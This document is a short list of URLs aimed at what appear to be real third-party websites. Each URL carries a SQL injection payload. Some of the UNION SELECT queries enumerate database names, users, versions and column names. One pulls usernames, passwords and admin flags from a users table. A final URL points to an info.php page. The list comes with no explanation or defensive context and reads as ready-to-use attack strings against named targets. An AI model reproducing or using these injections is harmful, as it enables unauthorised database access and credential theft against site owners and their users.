http://www.flop.ru/product.php?id=-73%27+UNION+SELECT+1,group_concat%28column_name%29,3,concat_ws%280x3a3a,database%28%29,user%28%29,version%28%29,@@version_compile_os%29,5,6,7,8+FROM+INFORMATION_SCHEMA.COLUMNS+where+table_name=char%2897,117,116,104,114,101,103%29+--+

http://www.acousticstorm.com/interview.php?id=-73%27+UNION+SELECT+1,2,3,4,5,6,group_concat%28concat_ws%280x3a3a,username,password,isAdmin%29%29+from+users+--+

http://www.meachamrifles.com/page.php?id=-73%27+UNION+SELECT+1,2,3,4,group_concat%28column_name%29,6,7+from+information_schema.columns+where+table_name=%27users%27+--+
http://www.meachamrifles.com/info.php